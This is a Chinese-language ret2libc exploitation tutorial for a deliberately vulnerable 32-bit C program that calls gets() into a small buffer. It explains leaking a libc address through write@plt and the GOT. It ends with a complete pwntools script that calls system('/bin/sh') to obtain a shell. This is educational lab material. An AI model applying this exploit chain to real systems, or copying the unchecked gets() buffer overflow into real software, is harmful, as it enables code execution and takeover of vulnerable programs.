首先我们先复习一下32位系统调用

想办法调用execve("/bin/sh", null, null),然后先办法传入/bin///sh,系统调用execve

eax = 11, ebx = bin_sh_addr, ecx = 0, edx = 0 int 0x80

#include <stdio.h>
char buf2[10] = "ret2libc is good";
void vul()
{
  char buf[10];
  gets (buf);
}

void main()
{
  write(1, "hello", 5);
  vul();
}

//gcc -no-pie -fno-stack-protector -m32 -o ret2libc1_32 ret2libc1_32.c

里面没有system

ROPgadget去查看也没有/bin/sh,如果没有NX保护,我们还可以构造shellcode, 这时候只能自己构造泄露libc了,ret2libc

明确目标,system属于libc。libc.so 动态链接库中的函数之间相对偏移是固定的。

即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。

思路

1、泄露ret2libc_32任意一个函数的位置

2、获取libc的版本

3、根据偏移获取shell和sh的位置

4、执行程序获取shell

5、ldd 列出动态库依赖关系

ldd能看到动态库的依赖关系

我们首先计算偏移

偏移是22

我们先完成一个exp框架

from pwn import *
context(arch = "i386", os = "linux")
p = process("./ret2libc1_32")
e = ELF("./ret2libc1_32")

write_plt_addr = e.plt["write"]
gets_got_addr = e.got["gets"]
vul_addr = e.symbols["vul"]

#print hex(gets_got_addr)
offset = 22

payload1 = b'a' * offset + p32(write_plt_addr) + p32(vul_addr) + p32(1) + p32(gets_got_addr) + p32(4)
p.sendlineafter("hello", payload1)

gets_addr = u32(p.recv(4))
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc_base = gets_addr - libc.symbols["gets"]
system_addr = libc_base + libc.symbols["system"]
bin_sh_addr = libc_base + next(libc.search('/bin/sh'))

payload2 = offset * b'a' + p32(system_addr) + p32(0x00000000) + p32(bin_sh_addr)

p.sendline(payload2)
p.interactive()